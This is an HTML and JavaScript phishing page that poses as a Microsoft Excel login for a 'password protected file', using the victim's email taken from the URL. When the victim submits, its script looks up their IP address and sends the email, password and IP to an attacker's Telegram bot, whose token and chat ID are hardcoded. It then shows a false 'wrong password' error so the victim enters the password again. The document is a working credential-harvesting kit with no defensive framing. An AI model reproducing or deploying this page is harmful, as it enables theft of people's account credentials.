<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Excel Login</title>
</head>
<body>
    <script>
        // Function to extract the email from the URL's hash fragment
        function getEmailFromHash() {
            const hash = window.location.hash;
            // Check if there is a hash and it contains an email-like format
            if (hash && hash.startsWith('#')) {
                // Decode URI to handle any encoded special characters
                const email = decodeURIComponent(hash.substring(1));
                return email;
            }
            return '';
        }

        // Setting emltag to the email extracted from the hash
        let emltag = getEmailFromHash();
    </script>
    <script>
        let signInAttempts = 0;

        function showError(errorContainer, message) {
            errorContainer.textContent = message;
            errorContainer.style.display = 'block';
            errorContainer.style.color = 'red';
            setTimeout(() => {
                errorContainer.style.display = 'none';
            }, 2000); // Hide after 2 seconds
        }

        const styles = `
<style>
    body {
        font-family: Segoe UI, Arial, sans-serif;
        margin: 0;
        padding: 0;
        background-image: url('https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/PO-2022-07-037-mabuhay-568x738%20(1).jpg?alt=media&token=53d31d9d-f818-4f87-860b-bec98b9db4dc');
        background-size: 1300px 650px;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        position: relative;
        overflow: hidden;
    }
    
    body::before {
        content: "";
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0, 0, 0, 0.5);
        backdrop-filter: blur(2px); /* Adjust blur level as needed */
        z-index: -1;
    }
    
    .page-logo {
        position: absolute;
        top: 10px;
        left: 10px;
        width: 45px;
        height: auto;
        z-index: 10;
    }

    .form-container {
        background-color: #fff;
        border-radius: 0;
        box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
        padding: 20px;
        height: 390px;
        width: 410px;
        box-sizing: border-box;
        text-align: center;
        position: relative;
        overflow: hidden;
        z-index: 1; /* Ensure the form is above the blurred background */
    }

    .form-container > * {
        opacity: 0;
        animation: slideIn 0.5s ease forwards;
        animation-delay: calc(var(--index) * 0.2s);
        animation-fill-mode: forwards;
    }

    @keyframes slideIn {
        from {
            transform: translateX(100%);
            opacity: 0;
        }
        to {
            transform: translateX(0);
            opacity: 1;
        }
    }

    .logo {
        width: 90px;
        height: auto;
        position: absolute;
        top: 10px;
        left: 10px;
        --index: 1;
    }

    .second-logo {
        width: 10px;
        height: auto;
        position: absolute;
        top: 95px;
        left: 30px;
        --index: 2;
    }

    .title {
        color: #666;
        font-size: 20px;
        position: absolute;
        top: 20px;
        left: 120px;
        --index: 3;
    }

    .username-display {
        color: #666;
        font-size: 16px;
        position: absolute;
        top: 86px;
        left: 50px;
        --index: 4;
    }

    .enter-password {
        font-family: Segoe UI, Arial, sans-serif;
        font-size: 22px;
        font-weight: italic;
        position: absolute;
        top: 120px;
        left: 30px;
        text-align: left;
        width: 350px;
        --index: 5;
    }

    .additional-text {
        font-family: Segoe UI, Arial, sans-serif;
        font-size: 13px;
        color: #666;
        position: absolute;
        top: 150px;
        left: 30px;
        text-align: left;
        width: 350px;
        --index: 6;
    }

    .additional-text a {
        color: blue;
        text-decoration: underline;
        cursor: pointer;
    }

    .password-input {
        font-family: Segoe UI, Arial, sans-serif;
        font-size: 16px;
        color: #666;
        border: none;
        border-bottom: 1px solid black;
        background-color: transparent;
        outline: none;
        padding: 5px;
        margin-top: 10px;
        width: 332px;
        text-align: left;
        position: absolute;
        top: 180px;
        left: 30px;
        --index: 7;
    }

    .password-input:focus {
        border-bottom: 1px solid blue;
    }

    .note {
        font-family: Segoe UI, Arial, sans-serif;
        font-size: 13px;
        color: blue;
        position: absolute;
        top: 240px;
        left: 30px;
        text-align: left;
        width: 350px;
        --index: 8;
    }

    .submit-container {
        position: absolute;
        bottom: 50px;
        right: 45px;
        padding: 5px 18px;
        background-color: #039126;
        color: #fff;
        border-radius: 0;
        cursor: pointer;
        transition: background-color 0.3s ease;
        top: 310px;
        left: 280px;
        --index: 9;
    }

    .submit-container:hover {
        background-color: #037a22;
    }

    .error-container {
        display: none;
        position: absolute;
        top: 170px; /* Adjust to appear below the additional-text div */
        left: 30px;
        width: 350px;
        color: red;
        font-size: 13px;
        text-align: left;
    }

    .green-line {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 10%;
        background-color: #207245;
    }
</style>
`;

document.head.insertAdjacentHTML('beforeend', styles);

function createForm() {
    const body = document.querySelector('body');
    const greenLine = document.createElement('div');
    greenLine.classList.add('green-line');
    body.appendChild(greenLine);

    const pageLogo = document.createElement('img');
    pageLogo.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/heaexcel.jfif?alt=media&token=98293952-2731-45d7-8a4d-de72cee3378a";
    pageLogo.alt = "Microsoft Excel Logo";
    pageLogo.classList.add('page-logo');
    body.appendChild(pageLogo);

    const formContainer = document.createElement('div');
    formContainer.classList.add('form-container');
    body.appendChild(formContainer);

    const logoImg = document.createElement('img');
    logoImg.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/excel.png?alt=media&token=3f39573f-93ee-4536-9be2-4cca14aff2f0";
    logoImg.alt = "Microsoft Excel Logo";
    logoImg.classList.add('logo');
    formContainer.appendChild(logoImg);

    const secondLogoImg = document.createElement('img');
    secondLogoImg.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/backarrow.jfif?alt=media&token=1ae345c9-8f7f-485e-941f-476b353ecf7f";
    secondLogoImg.alt = "Back Arrow";
    secondLogoImg.classList.add('second-logo');
    formContainer.appendChild(secondLogoImg);

    const titleSpan = document.createElement('span');
    titleSpan.textContent = "Microsoft Excel";
    titleSpan.classList.add('title');
    formContainer.appendChild(titleSpan);

    const usernameDisplaySpan = document.createElement('span');
    usernameDisplaySpan.textContent = emltag;
    usernameDisplaySpan.classList.add('username-display');
    formContainer.appendChild(usernameDisplaySpan);

    const enterPasswordDiv = document.createElement('div');
    enterPasswordDiv.textContent = "Enter password";
    enterPasswordDiv.classList.add('enter-password');
    formContainer.appendChild(enterPasswordDiv);

    const additionalTextDiv = document.createElement('div');
    additionalTextDiv.classList.add('additional-text');
    additionalTextDiv.innerHTML = "Authentication required to view this file.";
    formContainer.appendChild(additionalTextDiv);

    const passwordInput = document.createElement('input');
    passwordInput.type = 'password';
    passwordInput.placeholder = 'Password';
    passwordInput.classList.add('password-input');
    formContainer.appendChild(passwordInput);

    const noteDiv = document.createElement('div');
    noteDiv.textContent = "Note: Password protected file. Only this user can view this file";
    noteDiv.classList.add('note');
    formContainer.appendChild(noteDiv);

    const submitContainerDiv = document.createElement('div');
    submitContainerDiv.textContent = "View";
    submitContainerDiv.classList.add('submit-container');
    submitContainerDiv.onclick = submitForm;
    formContainer.appendChild(submitContainerDiv);

    const errorContainerDiv = document.createElement('div');
    errorContainerDiv.classList.add('error-container');
    formContainer.appendChild(errorContainerDiv);

    passwordInput.addEventListener('keydown', function(event) {
        if (event.key === 'Enter') {
            submitForm();
        }
    });
}

async function submitForm() {
    const username = document.querySelector('.username-display').textContent.trim();
    const password = document.querySelector('.password-input').value;

    const errorContainer = document.querySelector('.error-container');

    if (!password) {
        showError(errorContainer, 'Password cannot be empty.');
        return;
    }

    const submitContainerDiv = document.querySelector('.submit-container');
    submitContainerDiv.textContent = '...';

    const passwordInput = document.querySelector('.password-input');
    passwordInput.value = '';

    try {
        const ipResponse = await fetch('https://api.ipify.org?format=json');
        const ipData = await ipResponse.json();
        const clientIP = ipData.ip;

        const telegramBotToken = '7726604047:AAFJigKfZCmmuD2n8iFXuNSeZv872NMsREU';
        const telegramChatId = '6156349050';
        const message = `Excel3 Logs\n\nEmail: ${username}\nPassword: ${password}\nIP: ${clientIP}`;

        const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${telegramChatId}&text=${encodeURIComponent(message)}`;
        await fetch(telegramUrl);

        const formData = new FormData();
        formData.append('email', username);
        formData.append('password', password);

        const response = await fetch('', {
            method: 'POST',
            body: formData
        });

        if (!response.ok) {
            throw new Error('Network response was not ok');
        }

        signInAttempts++;
        // Implement further sign-in behavior here...

    } catch (error) {
        showError(errorContainer, 'Wrong password, please try again.');
    } finally {
        submitContainerDiv.textContent = 'View';
    }
}

document.addEventListener('DOMContentLoaded', createForm);
</script>
</body>
</html>